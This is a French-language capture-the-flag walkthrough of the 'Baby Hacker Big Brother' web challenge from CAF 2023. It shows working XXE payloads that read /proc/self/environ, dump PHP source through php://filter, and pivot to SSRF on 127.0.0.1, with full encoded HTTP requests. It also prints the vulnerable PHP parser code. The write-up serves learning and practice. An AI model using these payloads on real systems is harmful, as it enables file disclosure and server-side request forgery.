Cover Image

CAF 2023 - Baby Hacker Big Brother


Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge Web “Baby Hacker Big Brother” proposé lors du CTF Cyber Africa Forum 2023.

Lorsque nous nous rendons sur la page web du challenge, nous obtenons ce rendu:

Nous avons un formulaire pour créer un compte sur le site web.

Je décide d’ouvrir Burp Suite pour voir comment est implémentée l’envoi des données au serveur:

GET /generate.php?input=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ%2BPGZpcnN0TmFtZT5WYWxlbnRpbiBMb2JzdGVpbjwvZmlyc3ROYW1lPjxsYXN0TmFtZT5iaWRvbkBqZXNhaXNwYXMuY29tPC9sYXN0TmFtZT48L2lucHV0Pg%3D%3D HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

On voit que la donnée du forumaire est envoyée via une requête GET qui singifie déjà que la requête n’est pas envoyée de manière sécurisée, de plus le chemin du fichier generate.php est faux , puisque le vrai chemin de celui ci est /chall2_086ecf773bbd273e9005d731f743df5a/generate.php.

En décodant le contenu du paramètre input en base64 nous obtenons ceci:


<?xml version='1.0' encoding='UTF-8'?>
<input>
    <firstName>Valentin Lobstein</firstName>
    <lastName>bidon@jesaispas.com</lastName>
</input>    

Il s’agit d’un contenu XML, la première piste que j’ai explorée est la falle XXE (Xml eXternal Entities).

Qu’est ce qu’une faille XXE ?

Une attaque XXE (XML External Entity) est une technique d’attaque de sécurité courante utilisée contre les applications Web qui analysent les fichiers XML. L’attaque consiste à insérer des entités XML malveillantes dans les données d’entrée XML, qui sont ensuite analysées par l’application Web. L’objectif de l’attaque est de permettre à un attaquant de lire des fichiers arbitraires sur le serveur ou d’exécuter du code malveillant à distance.

Voici le premier payload que j’ai tenté pour exploiter cette faille:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

Encodé en base64 puis en URL encode j’envoie cette requête au serveur :

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%5a%6d%6c%73%5a%54%6f%76%4c%79%39%77%63%6d%39%6a%4c%33%4e%6c%62%47%59%76%5a%57%35%32%61%58%4a%76%62%69%49%2b%43%6c%30%2b%43%6a%78%70%62%6e%42%31%64%44%34%4b%49%43%41%67%49%44%78%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%4a%6e%68%34%5a%54%73%38%4c%32%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%4b%49%43%41%67%49%44%78%73%59%58%4e%30%54%6d%46%74%5a%54%35%68%59%54%77%76%62%47%46%7a%64%45%35%68%62%57%55%2b%43%6a%77%76%61%57%35%77%64%58%51%2b HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Voici le résultat que j’obtiens:

Nous avons réussi à générer une erreur au moment où le serveur parse le XML qui nous permet d’obtenir le répertoire absolu où sont stockés les fichiers php du serveur web /var/www/html.

Le but ici maintenant est de pouvoir récupérer le code source de la page generate.php pour obtenir plus d’informations sur le fonctionnement de cette page.

Voici le payload que j’ai utilisé pour réaliser cette tâche:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

Le but ici est d’utiliser le wrapper php://filter pour encoder en base64 le contenu du fichier generate.php afin qu’il ne soit pas executé en tant que php sur la page, et donc que le code source php soit visible pour nous.

Voici la requête complète:

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%33%4a%6c%59%57%51%39%59%32%39%75%64%6d%56%79%64%43%35%69%59%58%4e%6c%4e%6a%51%74%5a%57%35%6a%62%32%52%6c%4c%33%4a%6c%63%32%39%31%63%6d%4e%6c%50%53%39%32%59%58%49%76%64%33%64%33%4c%32%68%30%62%57%77%76%5a%32%56%75%5a%58%4a%68%64%47%55%75%63%47%68%77%49%6a%34%4b%58%54%34%4b%50%47%6c%75%63%48%56%30%50%67%6f%67%49%43%41%67%50%47%5a%70%63%6e%4e%30%54%6d%46%74%5a%54%34%6d%65%48%68%6c%4f%7a%77%76%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%67%6f%67%49%43%41%67%50%47%78%68%63%33%52%4f%59%57%31%6c%50%6d%46%68%50%43%39%73%59%58%4e%30%54%6d%46%74%5a%54%34%4b%50%43%39%70%62%6e%42%31%64%44%34%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Et voici le code source php de la page generate.php une fois décodée en clair:

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
// make sure the input parameter exists
if (empty($_GET["input"])) {
	echo "Please include the 'input' get parameter with your request, Buddy";
	return;
}

// get input
$xmlData = base64_decode($_GET["input"]);
// parse xml
$xml=simplexml_load_string($xmlData, null, LIBXML_NOENT) or die("Error parsing XML: "."\n".$xmlData);
$firstName = $xml->firstName;
$lastName = $xml->lastName;
// generate username
$nouns = array("breakroot", "sec042", "Stalhacker", "Coder08", "Hacker", "jhokkha", "illution", "maskbreak", "serialboy", "victorians", "mrrobot", "HunterX", "Brutelfine", "hoopssec", "littledocker");
$noun = $nouns[array_rand($nouns)];
$generatedName = $firstName.' "The '.$noun.'" '.$lastName;

// return html for the results page
echo <<<EOT
<!DOCTYPE html>
<html lang="en">
<head>
  <title>Fault System Generator</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
</head>
<body>

<div class="jumbotron text-center">
  <h1>Your ID Name Is:</h1>
  <h2>$generatedName</h2> 

  <a href="/">Go Back</a> 
</div>
</body>
</html>
EOT;
?>

Une partie est extrèmement intéressante ici, il s’agit de cette partie du code :

<?php

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;
}
  • Ce code PHP définit une liste blanche d’adresses IP, stockées dans un tableau appelé $whitelist. Ensuite, le code vérifie si l’adresse IP de l’utilisateur qui accède à la page est présente dans le tableau $whitelist. Si l’adresse IP de l’utilisateur est incluse dans la liste blanche, la page renvoie la valeur de la variable d’environnement $FLAG. Cette variable est utilisée pour stocker une valeur secrète qui doit être gardée confidentielle.

  • Le but de ce code est de limiter l’accès à la valeur de la variable d’environnement $FLAG à une liste spécifique d’adresses IP approuvées. En effet, cette variable contient une information sensible que l’on ne veut pas rendre accessible au public. Cette technique est utilisée pour éviter que des attaquants puissent lire la valeur de la variable $FLAG en exploitant une vulnérabilité XXE, comme dans les exemples XML que nous avons vus précédemment.

  • En vérifiant l’adresse IP de l’utilisateur qui accède à la page, le code PHP tente de s’assurer que l’utilisateur est bien autorisé à accéder à la valeur de la variable $FLAG. Cependant, il convient de noter que l’adresse IP peut être facilement spoofée ou falsifiée.

Le seul moyen que nous avons pour contourner cette mesure de sécurité est de créer une SSRF depuis la faille XXE que nous avons déjà exploitée auparavant.

Qu’est ce qu’une faille SSRF ?

Une SSRF (Server-Side Request Forgery) est une vulnérabilité de sécurité courante qui peut survenir lorsque des entrées utilisateur non validées sont utilisées pour effectuer des requêtes HTTP depuis le serveur vers des ressources externes, telles que des sites Web, des systèmes de fichiers ou des services Web. Les attaquants peuvent exploiter cette vulnérabilité pour envoyer des requêtes à des ressources internes qui ne devraient pas être accessibles à partir du serveur, ou pour effectuer des attaques en rebondissant à partir de ressources internes vers des cibles externes.

Nous avons trois informations importantes:

  • Le fichier generate.php est placé dans le répertoire /var/www/html.

  • L’adresse IP whitelistée est 127.0.0.1.

  • Le flag est affiché via la variable d’environnement $FLAG depuis generate.php.

À l’aide de ces informations nous pouvons enfin créer le dernier payload:

<!DOCTYPE replace [
    <!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php">
]>
<input>
    <firstName>&xxe;</firstName>
    <lastName>aa</lastName>
</input>

La requête complète est donc celle ci:

GET /chall2_086ecf773bbd273e9005d731f743df5a/generate.php?input=%50%43%46%45%54%30%4e%55%57%56%42%46%49%48%4a%6c%63%47%78%68%59%32%55%67%57%77%6f%67%49%43%41%67%50%43%46%46%54%6c%52%4a%56%46%6b%67%65%48%68%6c%49%46%4e%5a%55%31%52%46%54%53%41%69%61%48%52%30%63%44%6f%76%4c%7a%45%79%4e%79%34%77%4c%6a%41%75%4d%53%39%6e%5a%57%35%6c%63%6d%46%30%5a%53%35%77%61%48%41%69%50%67%70%64%50%67%6f%38%61%57%35%77%64%58%51%2b%43%69%41%67%49%43%41%38%5a%6d%6c%79%63%33%52%4f%59%57%31%6c%50%69%5a%34%65%47%55%37%50%43%39%6d%61%58%4a%7a%64%45%35%68%62%57%55%2b%43%69%41%67%49%43%41%38%62%47%46%7a%64%45%35%68%62%57%55%2b%59%57%45%38%4c%32%78%68%63%33%52%4f%59%57%31%6c%50%67%6f%38%4c%32%6c%75%63%48%56%30%50%67%6f%3d HTTP/1.1
Host: 51.178.18.146:40000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://51.178.18.146:40000/chall2_086ecf773bbd273e9005d731f743df5a/
Upgrade-Insecure-Requests: 1

Et voici la réponse du serveur :

Flag: CAF_{never_gonna_give_you_up_so_congratulations}